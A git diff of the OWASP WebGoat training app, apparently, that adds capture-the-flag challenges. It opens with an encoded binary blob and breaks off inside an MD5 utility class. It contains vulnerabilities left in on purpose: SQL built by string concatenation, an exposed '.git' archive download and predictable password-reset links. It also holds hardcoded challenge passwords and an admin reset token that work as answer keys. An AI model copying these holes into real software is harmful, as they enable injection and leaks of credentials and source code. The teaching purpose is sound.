zfTIs$SL&)D`Ft22hDyIXUX(vV4paw*SvTRa(&H_hvdGSc$Dq*W1w_Q}{08j*<&D|y zE#tEYFnpV>wJ!Pn#I6R~8AR3-IvA~2&NRzyKZ7q?rK312Z-^(}>s>AgaT}*nY#2nu za+XL={7XDOQss)Q_gdP}$?NUHjCR)<&=ng;$H%NSL-A+ANtCFjTQa2C$nf{qxwJpg z$;1MfP1A|q&(hH^68G5kE-OC^#&Y~5clK>$OOol!MLNPj5`M`E3>_T=b7% z-kY$iuX~*4ya{Yp#fCb)_tv~K<`A8joRuAEB4Gs1qe}d(VrHG3k2mXkN#- z5ZZ;kJ|nip#^L-?Dau%T{t@(=Gh;dVcclE}@2&08GD@`tdnV6kg5 z9Xb>8p|+{8=19n?@h+-v2BQi;iIv4qBmG0hN1SOj<_EHyUzx|(H8Kd{r`AfdLgyL0 zxGsGj9+xs{1qy?3EgJ2>ufb_211!C3;1DWie_Lyd>u%jfai4?PLa{y(&4xSCH;z`p z@l#ctjX2cP^xCnxdf~+YiE;wSFDYN(>lYM6#Eh1?ttxg4@bWNFEP#+i8DK!*{JcuO z?hOh!REEnq+U7|}?UASC;oLMLA3xQ>r|HG+!aF@fH66xb!Ff;gAHX|q{ZoMgs-y6P zt3-XP6xk*1zMA2;(~bh|jJxqW*wnNnJEY(04Ec5)Sf=UiD0sj&AlG9mlE{>)h}!a^ z`ATsC-dAH=8~WjAUg1t2$;RZ-X-+t86wY=Z?RKuh-tKpfF`Fl6NTT}V`;Dq zmF|PqW~-jJBq&Aw3WcU_bnAl6b_g$(RxVce+H2??7GrYxzR8q)x>M%{jI^d zxneqC&x^ff{N7PPRI9rYrj}4$6HmZSyG*+H9)#_oO7CGfePC1^#k+%G8lgQ>#CP}c z;$q?J4yH0Aw2aq3@JbU#p5jp`3I>`4JLcaOp}5`w4@ZJiyjgtE1!cfK2=`*O=8U7d znj;qPkjae-&g2*z})mgMde0i1h<;?d&zoCdU{hlKSA8MRurD^QduOev)U#Or4ALK z4d7sM5y7aUnhm#vR9k4-E^1^j3T%8h7Hn^pL zQ8Cs?0C(T~e>CUEXx=DJ6Lo2c!B?i~Imc^zjbLus2)>_xo8N$kiD=p%?zdh)D(m>A z$O+cQqQV`sFx8DZ5&erM{XnDI2MQ}ZDN0%uy(DEVW)&9dg!;n}zBB=pJYccW+fK$f z{OW;=!x!~nPx5&2hY@HV3C`pQyD^mwfX| zvsd`qBv+KWtvAubV?Eo*?sgZ`)a_9X3-v^j!oA|Z;MlTLijVP4Qb#suyl@R;$bt80 zFKf%bxi)x<$Jjz_oEu{`NNM}VET}x)>85aos#-PJ|4VedZ9+^BHng=KgAmzEz4lbJ z0Hd|?OB-iiso!}v48<2n)8g3QDZOXZG)NjV(8t)*d@S&WQWNjtk+fqt#q(g?1wwslCf{8Nr;5tE==- z=r$Ewq)un4r_KIf&3CVEa^EGDES*pt7Mpn=x`*+5;{M{NA9FthDy5sYde8y=v^* zM6$8cvMIpcTZgNU6zg4{WYAJ4GUYD<-Op7OECrq;O;zyg5=cbq*;|~ujRXYQnNaGf zhvVxa;pxMMG+y#?IoR|u3TV&C)K7+O?`fEs-f$#2)3ZnIjG>;pwor^wYV}G#Q!(J? zFCuj+jdo{l@DdmSFrEdM;9=PDCL|2;>_>M%|BQG>o)b7-Fd001)E>`qfci0;5UT z#PGAJRhuti*vRGO3tZDy!6wSz2oU`b#v%pH`sHaRKM z=$V+q7F=dA`$E*XJZOU^_ICLP^pb}Lgq21{(t9j2%MLlC+AUed;+Q)#r*L_O#%2KOj`F~_#g%)Yja(Yq^l|%EXGwD5y80^395HIip09`i3 z#(ia;r!2S#gJ!CPLRSD~fy>CnBXhgUsK#Xr38e-rslt!;TScDO=ESM7Dk)hHV~N14 z$ZU&yiXtFAt`wOccSLZ2@iK6RngJy}Z{PK19dNU`eU791)V<$C+QZU4M&I^>!{C&i z?@i*H;a~$ZDyQc>So-eyx*1cs0xDPRj_v(_1Pf>F|But43%bo1>yNcWtOCzQ0c1P zKjVisqE($=I%gt#`%$XVZ+1^kLp9#oCWyV)_AA(++wT6RW_&B0yl^uEADe+e4kSJX z0K&THtKy0;54pr4&95KOJ()#vJI=s!nj#ZgwNuQ4i$+%e81_#8!Hb7CQMilpM4Av( zhvB5HfFIBS&_z2o>QFqZAxw_w2&*ZVzKupRzDq#;DgK)zFW$d@^ptAJrTvx%(BlBZJBo}lD~vd^J^6??yk7@* zh4b`e*OaB#KA7*ND9oixT>6FSwxo;YLRp&e%{KhKI&688FHVD#g13fdgUR*OmGXd2 z5n=8Q1Y405U7FEi=e5@_PkAAo;m!0H;Vog8kLw<{soC2v+TGYIs{kJBqitJt*a&zU zFNj$w*S{m!j3v~I4kVAI_M@WoL%+^iZDMO~;7}(Hez#0^M#wB(s3{AL;oFlGve$Pg zC^L>SY`es^GlhIRCKFfuh>!CDr&JLUf_Wj?S$fEE>1fc#PCS6c{X>y^>O~t46#*j$ z&!50YQS2d$$&*19KK$w?jDBC~`Y($bEP8v9Z}H<-b2PvtrimzvV;5#Qe?nOwy{w4n7MeoNBl>M_u?aa!_cz z)6R;woXG-&+?Tr+b4XOWBXArN+%P5<@I<+lqit?)GumxDypve^2rY~~ZTo2JqEl`; z>Yx~ZYD4B9)Oi!fVUTfgny_`y z%}*k88n$&ky{33A%t1lj4C$1_7qxN+US#|^S`d!)wQIPe{(C`aYB!gAhH3oOE)dsk z9L6ybEsVz@l;a&_{n0}+z&Wxj31NBJw3&*T*oSh^|3C(K88+u-GO^E~$wgO_zgVK- ztaWje2u;xsg?mip=)`tlr8GyqS0dbem1{5~N8DeucPW-=S+OcI#ezEVt1 zO}pd5^5##%Plj2+)j_b`XTT1ok&ccn<$?zjb$5VuhSI*S9f{%EC<4Z3KpI8*BY~Hb z3M-mMV;6sdR|M9RuDW?idc*}RXM18r5&@g{S|X8oaIC4x=B%=-(;S;iVkVrGGBiji z!D!UCxGHG)+qmtxYFrc+w)ZfO6t7r%4ax+b^YK=Hm|bcJV>HOVXRKs%H91mNw);Na zT=S@Wf$VFnH|e_VH;&&UUVtC=+-{xB@-p;-pM+k=&p9b%`@wywu( zlI}Hor6(+pz!;PI4L zP3?`woi3oZE=RNziw1&s+O7=m>Ih8#GCo4NQ`cVoO!QGyVqU&q@8uRPRekI&d+}!- zP^&i;QHu#ufwUrFeT$uXFClJ<#FtD`OrY?K3<7N>e#U1_V~8ew9Osqvm>-Fif?!km zr6@BA;_=G%`sh{1QfS;`$HHZXBy)cTxo{pa@fACDS80jq)W0pYZ+q$p3vmK1XASC2 z#CB8`xoxk+J@3>>qTkh2h}YPIh;i>RZx; z%5%nyg1TeKy$ZNl_)1K>!^dI^>-W9ehG>f>4V51b^2EY|Gqm-ReO#zThmFVi!N(xp z<^7NMB$h@14~-tYdMQSWEkpmXan|N6g8K>qF{)VsyviV(C)qBA?#gHy%404c#WG{b z&t>4gN=V`ZjutTI<%cArjzw)7VsAMMoOpoCO-Z{e8HC-W70I{Cc*kn9O&{pz>RCPA z0{>=Cr?pS{X|KP@A5z)Dzr0_Hs&YsA-@ zmOC@vu56C<4k@|O8}vt-fDUzji%XvIUnHQ>Mjf(sdJ|}Cq-rueBf>ss_mnm%SU${U zN8{<|Z)eAnb|QR-g!X3jc&=!%gP`Jav>Bqa zmdz^Anj9-VGCORwVnD?7>0a2CS~wNn7sBj_QNWt3uTW(!(#mXb- zJC**uM*!F6Y7Hs}C5H?(6|4$AD4+!_X7$*4Yi-^tr3|ORDX3ePnckcw-9z)=u zu{&=Wuh#lRABHGEq-+~5e+|KTM>=6(2ViqhUG zzAjbH$Dwgd2}}cgZCp>F@S72#ZGbr_!*^nVaXMCgi?{SQ9}wF|!*s*4p~U#6gKfRJ z^9~mqaDnP;gHnAQoO-+t2ORM45g7#21Tp4nJq55X;nQKXF5l|+$i`0g8PU%kU#Dup zZ`xJcsiRN>Ofrlw)<)20a6X-{@lle=rOIGlccL2yfMGz8iDA*HsL@neusXMT4G{#7 zS^W>TvLo`x$@`t&3%u|1(5c^N+>sBXg7=0Cd@iduEM z|184P(>#$uA5PY<4j0mOgq@G&mWMd7Xpl6nGF0g1!g-?ZNvJ<=w)*NW(0qyeKF8;U zT+&-H@o}MFdZ3dd319J#ulSyPGAPZvKpI=?<+&)BDcm?H&IKOvm-|fU3%h9<(_<3B z4ysTPr}r&eGVt`NcLcHEMDddry4(<9*he0BWUkREucH?415*D|le2Cx1r1K2Y!}dN z`4pTh;YRP!@1~Ajs#l>pp#!KaBFB4<5i;TZ`N^*rVX5Y&5XP15=aLWVY720Q_w>y1 zOZBi`mn!gtshAda>;j~J9NR%!92L{6iILfus<}x_F3{C_gc2|`oLq-6a9%o9ZH57G zo~awNdWrKvI4|-#ho7)B@Qj=}D;X^77ACSTu@xzL&8>?K*J951w>>!IQ+;0_wtm?_ zq&QHltfMJ(L{(eHWJh3@N5?y~fKpF-iN5b6+bd5Cp`As=n^O-keJ~9e|N0*BN4vTd^P3(`)YFn0b8E05e{uHjx_j$x$51&3ht9zg0lyffL53 z)34-h>nz0Ufdi*&N;?SSvT6I=6er6YkLIjQq*W{o-%+=t6lr)%D79PrS%CJlDPSo7 zX?1^*w`uy6N2ymWT0s`6FF|S<&}>IgB1tIQv&2lk^#?7L79nQtd*w>t5`Z=FA>@m0 z;wec01^>b&#ANQdow45UH}n`QVOVN5?V?;}xEZE9@mk0iXTt-vu}2mZ3m>F0&DAN# zy{VEuY&UoZpD}ioE)hAifv|O?fgwy)JWO7ufG+P^FOI!OLbgu`BRIk6lfRcrXy1L zFBg6Y4@T zVf*cMPssd-Cd@M8jwbEVU@gWUT$5ZV*0rQ{V6Z`O~k{RrVYMcwt&KFX87%jyD z>XIc$0~S6gP>##z{b21nU)S}SVIXp61L00e{pFa=d}?^7WdZ9M2`i*1HgNU{-#Msy z>(3U={b5Zk9j7t`+TuAm?#U^!U+e>o_}`MW!d*wg>Iu`?C~`{C=Yd5Z(}C9od*6ET z8rdY_4lfBFR{mbexW$)eceeUUW~B?iBA)~nS2+^|(ix3vV(NaI&} z0uS(K({#SS>OZ))pUfk-93K&c`t7P{5cofRosdxst}PI`%uN=?9T_$-$j90VFPAwQ ze$sD@wOYMO$6GAW|4oiSCV}_mCN!)Cw|9n?r-F!G5xZmgNTG=2{331R$_f4>xcGT)}3>jgQ+vTH&9aLo77KZ9Xa1 z+tv7N-|N)n>|Q*@$saovlvVK;HM!4=-}t=QJ1VcsW}_DKZ%=smNsl_?V(62y2I~yI z^n}ekYv?jNch77_rNd}q6ySxRu$W#Z0?ntzn)+SdocrgjEg%N#91m9%Vo`7P8de@j z$9ess8+%pG#Q0VN^0tY#mnHy#4pviyeYR}V0BW8>%raMyg4Ak~hZdc;0~m+BW+>0m zG>csfpr{0m2{!pzZ>!O{p&JAD(}lwYjBten{?7qVzVR*nek7EoX#3Yh=<#y zB!ohD2Waqs5r)s(uaaLx^@Z;iy?XyJ2q##G=aLpCe6@o4tY^TMkenQ zeZg6yOwqnpaysJnt3-BkG4_oChtap;r?WJ?N%=b=YF?PC9Pz0NlsQ zYe~_(8lj@H7FX~>z*?2C80bFQ!b3Q1wpN7sS|h?M7Bk#F@f1Sc{18T+hupz9@fj<=k&~ZH-J}|NgSux$e>Egsv6wJpPOu?a$R_?9!bq$cHq`Ev<_6v}-jyqZE3LThZszAAnY8*3a%3Xv^RbrGq< z-5<}0h>mp{Tr6eafKT(L%1%G@WR4`*oiIi1V`|tFhwWZym;^`X5!-b!&~LaVQL%lXlo0(J|pfzvz8l%C0Ved0`p~ zy+|pWp^TkR;?bE9iZx@hs2aO^gO{f0gr)!qfsKuQgU7=sYmTT_o1x?^hOxH}BP($0 zZ-lGJCGb-n+ApTMcx0<104a5Diu3{4F+Q#mg73!>Oo>0Om>xgFGbf>iv%XFx>Vmf^ zF3DMXVDJF?y96idGXX|Fg+aYs$QM)Pf(JhAz*6NZU4$2}*@Vy#pG9l%Nc?@ytS1AC zWlP#B`^k1{Q863(6jKRAlhBbj?Ux5_vs#&%qq@&y|JPDP)zIU|i;V z3`B020}nj$UD7I&B-9`WImrI|5;7v9970d4O+u2U);AaxgxnzvM@jFrvk#vW5g(6G#_Ddh(o*pFP5@TI>B!0r?v3&z~py~Zy(80jAFN|?Vg3Vv`ddXk-(ugfnIMP#~1 zK;-7u*b94<#~U@qZctfyOvO2Umjewca`uCVftgr~doEy;CC|5?Wi;m6nI{8ui{d7woV=J#l*jOj01Zi6s zf<34<3M-rY!nd6wwh+=TOre^xj@N%XT?lK@fBVahG|*=kP=#yTDQ3`?qa(4aHi78C zzvqP=%VR~u+q<RDLPMe-UQk!e4?ncMc}sFOp_cZd(aFff+{#t!IL*wE0DL z)kaBJSuxdAUH5G5Fii>B=vD_gR7(qkv1<=9TTWmv;z}}|=CAXJ667y~8pgOY_@7Le zxP!Ch1e-VqEqTj=u_+HSJ0S_aN@@vP_@%?0JVhr{yE7PiFXhkDN3}PDd#8Exw7B;F zi(!1kyAb)&6gK`xkNYqTV^NQy^&`-K(1ujc(!Tv7_wo2S0<MF06RKf65$^HM^}Ql+SP=Ky1*}tPi+%R%kP{GXgL%VgbLcBn!mj3@|$bZ6_yR)7G zz69;2GcO=9_cGF`p)^ne^UY}H`MHQ3rtu)v+iW>4bF8%PK zgk=+~eYr57k@8W@d5!jQXQ@{v&&~+EW~?J2fy4UTkZQtU5x?HQVwpBn# zQE13ob_zLy?6o_Zt;>!+h-#wN;RXe1W|Q^od&LpSrB_VZ>zxAg@xUXcaFuoyOS)Nq zq?pE59faq-dppXXeBb>Ik@u>Cf>`An*DB~&kQ!^5<;|hlW_g641IYci?Q&%m!AXw* zYu9LGx5Ah_rfR`@yQvBoJ4^lUDi)JVIHr7IDcc{Cu$SB_=0(ET-F1t z(yZ}y;;FgaaL+UB&an<@2M+0_ zl`r`FNS_iqaRjg-DwZ$7SL(**r39#aE5l*!PqU+AC6CyB+})Pdi(r>Hjrj)81h)0r zCM}^)BVqp|Q@3u^X!1StI`~g)KLcs~=Ph6Oym6k)E}J%VZ5l zFL2+;8nj-%5*Rt_ZmA7xJeDJFFGC+E5Pegt7TFZi@$m*~MN{7CMBVnkI_X(1ji1NG zDa~$KLqKj=Coodvv$Lm?A6gvWmvE2}D5O7YW^q2u7 z6(~r5 zE9n#mEI0{CJ=uAydo-?J(QMEq4#rCKSeJ(C5^B_b3G71}RN+w`Rbr&7#V>}P@#J|n ze4%{ta5H_)i6TN##~~R9(*|{JQ_ys5Z5yQkcqIVgExO zgFSQjPbvcQF{zujoYyxS;(wrTCYMjR8jkyIgQTToC}!yh=WaXK-wm4klJ@xR2L-|n z=Tq%=7hXi2t3*V`^>OEtoCO6u`W3-$D#N&KKO}7xdOC<}p1r%_Np+RJVcF!6^T?N9 zZaBt5PIRd3%I@Xv^2NkJmg7BLXG~Ya38EuyR5(^AKhKi68SgXWK^p3#oeixxoIbus za>jDq3Pak-WJxchUJ$F5e_3ZefY&v*jXeiW{Mb34RgTJT>$O<20LdmyypjL3Iods& zt>Itfbb9&d*CKGyn6Otn^0cfY)$!+}4$&hcytrmwGr-rFss}kAf@q%o$IBkLm;1&u zjF<5kFaOs`H@M-icXW`}pclVWkLR&81KSX!Tv%u6Vg)c7NFScnfIOiJrx z+;Zf-y zmb+H!tYTg7uFrRB=E#eqivGg%j0aoIS@!ICNkd;e=qS98+TEky8`)s^ZWRP& z*$(iRp^9^%M%{)!$VmV^B-}J{InFUOp4MFZiWmqX?Aao8-T-`>Hf!))vfngye=j<%fBVdRtY9vyL|FARY4M= zFOK902gST>sARjfE}>ItyFuPc{?JM)J8uDbxBtXab0N8>>8W|I@T>L?+2zFpQ3?eQ zOxj&l6V@RzxRUSVU`9b@x0kvnvo(0)C%&Ep>{o-TE3t7uGVB@#-y8oD5cFUJ-{Mgd`@;c}Bg2IrdNZ4_up|P1G#PVh5 zR#m&7RcP|jtLWO0^&dNk_X`o;R*VzJx9bnzwnBO+;gsNTBTz3xsc`d0KRNlRCXLxyMcz`hskbcv~6n`|Yz4#B{ k#SLp`?^(%@+bWebGoat Challenge - AppSec EU 2017 -

banner here
+
WebGoat Challenge
+
<% _.each(rankings, function(userRanking, index) { %> diff --git a/webgoat-container/src/test/java/org/owasp/webgoat/plugins/JmsTestConfig.java b/webgoat-container/src/test/java/org/owasp/webgoat/plugins/JmsTestConfig.java new file mode 100644 index 000000000..4895df60f --- /dev/null +++ b/webgoat-container/src/test/java/org/owasp/webgoat/plugins/JmsTestConfig.java @@ -0,0 +1,19 @@ +package org.owasp.webgoat.plugins; + +import org.apache.activemq.broker.BrokerService; +import org.mockito.Mockito; +import org.springframework.context.annotation.Bean; +import org.springframework.context.annotation.Configuration; + +/** + * @author nbaars + * @since 8/30/17. + */ +@Configuration +public class JmsTestConfig { + + @Bean + public BrokerService broker() throws Exception { + return Mockito.mock(BrokerService.class); + } +} diff --git a/webgoat-container/src/test/java/org/owasp/webgoat/plugins/LessonTest.java b/webgoat-container/src/test/java/org/owasp/webgoat/plugins/LessonTest.java index 3e6dffe9e..379f577f2 100644 --- a/webgoat-container/src/test/java/org/owasp/webgoat/plugins/LessonTest.java +++ b/webgoat-container/src/test/java/org/owasp/webgoat/plugins/LessonTest.java @@ -9,6 +9,7 @@ import org.springframework.beans.factory.annotation.Autowired; import org.springframework.boot.context.embedded.LocalServerPort; import org.springframework.boot.test.context.SpringBootTest; import org.springframework.boot.test.mock.mockito.MockBean; +import org.springframework.context.annotation.Import; import org.springframework.test.context.TestPropertySource; import org.springframework.test.web.servlet.MockMvc; import org.springframework.web.context.WebApplicationContext; @@ -23,6 +24,7 @@ import static org.mockito.Mockito.when; */ @SpringBootTest(webEnvironment = SpringBootTest.WebEnvironment.RANDOM_PORT) @TestPropertySource(locations = "classpath:/application-test.properties") +@Import(JmsTestConfig.class) public abstract class LessonTest { @LocalServerPort diff --git a/webgoat-lessons/challenge/src/main/java/org/owasp/webgoat/plugin/Flag.java b/webgoat-lessons/challenge/src/main/java/org/owasp/webgoat/plugin/Flag.java index a1caa5266..fe9d66466 100644 --- a/webgoat-lessons/challenge/src/main/java/org/owasp/webgoat/plugin/Flag.java +++ b/webgoat-lessons/challenge/src/main/java/org/owasp/webgoat/plugin/Flag.java @@ -45,7 +45,7 @@ public class Flag extends Endpoint { @PostConstruct public void initFlags() { - IntStream.range(1, 7).forEach(i -> FLAGS.put(i, UUID.randomUUID().toString())); + IntStream.range(1, 10).forEach(i -> FLAGS.put(i, UUID.randomUUID().toString())); FLAGS.entrySet().stream().forEach(e -> log.debug("Flag {} {}", e.getKey(), e.getValue())); } diff --git a/webgoat-lessons/challenge/src/main/java/org/owasp/webgoat/plugin/SolutionConstants.java b/webgoat-lessons/challenge/src/main/java/org/owasp/webgoat/plugin/SolutionConstants.java index 86586d36b..886565dc8 100644 --- a/webgoat-lessons/challenge/src/main/java/org/owasp/webgoat/plugin/SolutionConstants.java +++ b/webgoat-lessons/challenge/src/main/java/org/owasp/webgoat/plugin/SolutionConstants.java @@ -14,5 +14,7 @@ public interface SolutionConstants { String PASSWORD_TOM = "thisisasecretfortomonly"; String PASSWORD_LARRY = "larryknows"; String JWT_PASSWORD = "victory"; - + String ADMIN_PASSWORD_LINK = "375afe1104f4a487a73823c50a9292a2"; + String PASSWORD_TOM_9 = "somethingVeryRandomWhichNoOneWillEverTypeInAsPasswordForTom"; + String TOM_EMAIL = "tom@webgoat-cloud.org"; } diff --git a/webgoat-lessons/challenge/src/main/java/org/owasp/webgoat/plugin/challenge3/Assignment3.java b/webgoat-lessons/challenge/src/main/java/org/owasp/webgoat/plugin/challenge3/Assignment3.java index ed32e2458..2fd355bd3 100644 --- a/webgoat-lessons/challenge/src/main/java/org/owasp/webgoat/plugin/challenge3/Assignment3.java +++ b/webgoat-lessons/challenge/src/main/java/org/owasp/webgoat/plugin/challenge3/Assignment3.java @@ -6,7 +6,7 @@ import com.google.common.collect.EvictingQueue; import com.google.common.collect.Maps; import com.google.common.io.Files; import lombok.SneakyThrows; -import org.apache.commons.lang3.StringUtils; +import lombok.extern.slf4j.Slf4j; import org.joda.time.DateTime; import org.joda.time.format.DateTimeFormat; import org.joda.time.format.DateTimeFormatter; @@ -45,6 +45,7 @@ import static org.springframework.web.bind.annotation.RequestMethod.POST; * @since 4/8/17. */ @AssignmentPath("/challenge/3") +@Slf4j public class Assignment3 extends AssignmentEndpoint { @Value("${webgoat.server.directory}") @@ -66,10 +67,11 @@ public class Assignment3 extends AssignmentEndpoint { @PostConstruct @SneakyThrows public void copyFile() { - File targetDirectory = new File(webGoatHomeDirectory, "/challenges"); + File targetDirectory = new File(webGoatHomeDirectory); if (!targetDirectory.exists()) { targetDirectory.mkdir(); } + log.info("Copied secret.txt to: {}", targetDirectory); Files.write(secretContents, new File(targetDirectory, "secret.txt"), Charset.defaultCharset()); } @@ -106,14 +108,14 @@ public class Assignment3 extends AssignmentEndpoint { userComments.put(webSession.getUserName(), comments); } if (checkSolution(comment)) { - attackResult = success().feedback("challenge.solved").feedbackArgs(Flag.FLAGS.get(2)).build(); + attackResult = success().feedback("challenge.solved").feedbackArgs(Flag.FLAGS.get(3)).build(); } return attackResult; } private boolean checkSolution(Comment comment) { - if (StringUtils.equals(comment.getText(), secretContents)) { - comment.setText("Congratulations to " + webSession.getUserName() + " for finding the flag!!"); + if (comment.getText().contains(secretContents)) { + comment.setText("Congratulations to " + webSession.getUserName() + " for finding the flag!! Check your original response where you posted the XXE attack "); comments.add(comment); return true; } diff --git a/webgoat-lessons/challenge/src/main/java/org/owasp/webgoat/plugin/challenge5/challenge6/Assignment5.java b/webgoat-lessons/challenge/src/main/java/org/owasp/webgoat/plugin/challenge5/challenge6/Assignment5.java index 0d987e4a8..bdb663ec2 100644 --- a/webgoat-lessons/challenge/src/main/java/org/owasp/webgoat/plugin/challenge5/challenge6/Assignment5.java +++ b/webgoat-lessons/challenge/src/main/java/org/owasp/webgoat/plugin/challenge5/challenge6/Assignment5.java @@ -9,6 +9,7 @@ import org.owasp.webgoat.plugin.Flag; import org.owasp.webgoat.session.DatabaseUtilities; import org.owasp.webgoat.session.WebSession; import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.util.StringUtils; import org.springframework.web.bind.annotation.RequestMapping; import org.springframework.web.bind.annotation.RequestParam; import org.springframework.web.bind.annotation.ResponseBody; @@ -38,6 +39,13 @@ public class Assignment5 extends AssignmentEndpoint { Connection connection = DatabaseUtilities.getConnection(webSession); checkDatabase(connection); + if (!StringUtils.hasText(username_login) || !StringUtils.hasText(password_login)) { + return failed().feedback("required4").build(); + } + if (!"Larry".equals(username_login)) { + return failed().feedback("user.not.larry").feedbackArgs(username_login).build(); + } + PreparedStatement statement = connection.prepareStatement("select password from " + USERS_TABLE_NAME + " where userid = '" + username_login + "' and password = '" + password_login + "'"); ResultSet resultSet = statement.executeQuery(); diff --git a/webgoat-lessons/challenge/src/main/java/org/owasp/webgoat/plugin/challenge7/Assignment7.java b/webgoat-lessons/challenge/src/main/java/org/owasp/webgoat/plugin/challenge7/Assignment7.java new file mode 100644 index 000000000..bf4a0494a --- /dev/null +++ b/webgoat-lessons/challenge/src/main/java/org/owasp/webgoat/plugin/challenge7/Assignment7.java @@ -0,0 +1,84 @@ +package org.owasp.webgoat.plugin.challenge7; + +import lombok.SneakyThrows; +import lombok.extern.slf4j.Slf4j; +import org.owasp.webgoat.assignments.AssignmentEndpoint; +import org.owasp.webgoat.assignments.AssignmentPath; +import org.owasp.webgoat.assignments.AttackResult; +import org.owasp.webgoat.mail.IncomingMailEvent; +import org.owasp.webgoat.plugin.SolutionConstants; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.core.io.ClassPathResource; +import org.springframework.http.HttpStatus; +import org.springframework.http.MediaType; +import org.springframework.http.ResponseEntity; +import org.springframework.jms.core.JmsTemplate; +import org.springframework.util.StringUtils; +import org.springframework.web.bind.annotation.*; + +import javax.servlet.http.HttpServletRequest; +import java.net.URI; +import java.net.URISyntaxException; +import java.time.LocalDateTime; + +import static org.owasp.webgoat.plugin.Flag.FLAGS; +import static org.springframework.web.bind.annotation.RequestMethod.GET; +import static org.springframework.web.bind.annotation.RequestMethod.POST; + +/** + * @author nbaars + * @since 4/8/17. + */ +@AssignmentPath("/challenge/7") +@Slf4j +public class Assignment7 extends AssignmentEndpoint { + + private static final String TEMPLATE = "Hi, you requested a password reset link, please use this " + + "link to reset your password." + + "\n \n\n" + + "If you did not request this password change you can ignore this message." + + "\n" + + "If you have any comments or questions, please do not hesitate to reach us at support@webgoat-cloud.org" + + "\n\n" + + "Kind regards, \nTeam WebGoat"; + + @Autowired + private JmsTemplate jmsTemplate; + + @GetMapping("/reset-password/{link}") + public ResponseEntity resetPassword(@PathVariable(value = "link") String link) { + if (link.equals(SolutionConstants.ADMIN_PASSWORD_LINK)) { + return ResponseEntity.accepted().body("

Success!!

" + + "" + + "

Here is your flag: " + "" + FLAGS.get(7) + ""); + } + return ResponseEntity.status(HttpStatus.I_AM_A_TEAPOT).body("That is not the reset link for admin"); + } + + @RequestMapping(method = POST) + @ResponseBody + public AttackResult sendPasswordResetLink(@RequestParam String email, HttpServletRequest request) throws URISyntaxException { + if (StringUtils.hasText(email)) { + String username = email.substring(0, email.indexOf("@")); + if (StringUtils.hasText(username)) { + URI uri = new URI(request.getRequestURL().toString()); + IncomingMailEvent mail = IncomingMailEvent.builder() + .title("Your password reset link for challenge 7") + .contents(String.format(TEMPLATE, uri.getScheme() + "://" + uri.getHost(), new PasswordResetLink().createPasswordReset(username, "webgoat"))) + .sender("password-reset@webgoat-cloud.net") + .recipient(username) + .time(LocalDateTime.now()).build(); + jmsTemplate.convertAndSend("mailbox", mail); + } + } + return success().feedback("email.send").feedbackArgs(email).build(); + } + + @RequestMapping(method = GET, value = "/.git", produces = MediaType.APPLICATION_OCTET_STREAM_VALUE) + @ResponseBody + @SneakyThrows + public ClassPathResource git() { + return new ClassPathResource("challenge7/git.zip"); + } +} + diff --git a/webgoat-lessons/challenge/src/main/java/org/owasp/webgoat/plugin/challenge7/Challenge7.java b/webgoat-lessons/challenge/src/main/java/org/owasp/webgoat/plugin/challenge7/Challenge7.java new file mode 100644 index 000000000..27cfad08a --- /dev/null +++ b/webgoat-lessons/challenge/src/main/java/org/owasp/webgoat/plugin/challenge7/Challenge7.java @@ -0,0 +1,39 @@ +package org.owasp.webgoat.plugin.challenge7; + +import com.google.common.collect.Lists; +import org.owasp.webgoat.lessons.Category; +import org.owasp.webgoat.lessons.NewLesson; + +import java.util.List; + +/** + * @author nbaars + * @since 3/21/17. + */ +public class Challenge7 extends NewLesson { + + @Override + public Category getDefaultCategory() { + return Category.CHALLENGE; + } + + @Override + public List getHints() { + return Lists.newArrayList(); + } + + @Override + public Integer getDefaultRanking() { + return 10; + } + + @Override + public String getTitle() { + return "challenge7.title"; + } + + @Override + public String getId() { + return "Challenge7"; + } +} diff --git a/webgoat-lessons/challenge/src/main/java/org/owasp/webgoat/plugin/challenge7/MD5.java b/webgoat-lessons/challenge/src/main/java/org/owasp/webgoat/plugin/challenge7/MD5.java new file mode 100644 index 000000000..f4d34e0bc --- /dev/null +++ b/webgoat-lessons/challenge/src/main/java/org/owasp/webgoat/plugin/challenge7/MD5.java @@ -0,0 +1,689 @@ +package org.owasp.webgoat.plugin.challenge7; + +import java.io.FileInputStream; +import java.io.IOException; +import java.io.InputStream; +import java.io.UnsupportedEncodingException; + +import java.io.*; + +/** + * MD5 hash generator. + * More information about this class is available from ostermiller.org. + *

+ * This class takes as input a message of arbitrary length and produces + * as output a 128-bit "fingerprint" or "message digest" of the input. + * It is conjectured that it is computationally infeasible to produce + * two messages having the same message digest, or to produce any + * message having a given pre-specified target message digest. The MD5 + * algorithm is intended for digital signature applications, where a + * large file must be "compressed" in a secure manner before being + * encrypted with a private (secret) key under a public-key cryptosystem + * such as RSA. + *

+ * For more information see RFC1321. + * + * @author Santeri Paavolainen http://santtu.iki.fi/md5/ + * @author Stephen Ostermiller http://ostermiller.org/contact.pl?regarding=Java+Utilities + * @since ostermillerutils 1.00.00 + */ +public class MD5 { + + /** + * Class constructor + * + * @since ostermillerutils 1.00.00 + */ + public MD5() { + reset(); + } + + /** + * Command line program that will take files as arguments + * and output the MD5 sum for each file. + * + * @param args command line arguments + * @since ostermillerutils 1.00.00 + */ + public static void main(String[] args) { + if (args.length == 0) { + System.err.println("Please specify a file."); + } else { + for (String element : args) { + try { + System.out.println(MD5.getHashString(new File(element)) + " " + element); + } catch (IOException x) { + System.err.println(x.getMessage()); + } + } + } + } + + /** + * Gets this hash sum as an array of 16 bytes. + * + * @return Array of 16 bytes, the hash of all updated bytes. + * @since ostermillerutils 1.00.00 + */ + public byte[] getHash() { + if (!finalState.valid) { + finalState.copy(workingState); + long bitCount = finalState.bitCount; + // Compute the number of left over bits + int leftOver = (int) (((bitCount >>> 3)) & 0x3f); + // Compute the amount of padding to add based on number of left over bits. + int padlen = (leftOver < 56) ? (56 - leftOver) : (120 - leftOver); + // add the padding + update(finalState, padding, 0, padlen); + // add the length (computed before padding was added) + update(finalState, encode(bitCount), 0, 8); + finalState.valid = true; + } + // make a copy of the hash before returning it. + return encode(finalState.state, 16); + } + + /** + * Returns 32-character hex representation of this hash. + * + * @return String representation of this object's hash. + * @since ostermillerutils 1.00.00 + */ + public String getHashString() { + return toHex(this.getHash()); + } + + /** + * Gets the MD5 hash of the given byte array. + * + * @param b byte array for which an MD5 hash is desired. + * @return Array of 16 bytes, the hash of all updated bytes. + * @since ostermillerutils 1.00.00 + */ + public static byte[] getHash(byte[] b) { + MD5 md5 = new MD5(); + md5.update(b); + return md5.getHash(); + } + + /** + * Gets the MD5 hash of the given byte array. + * + * @param b byte 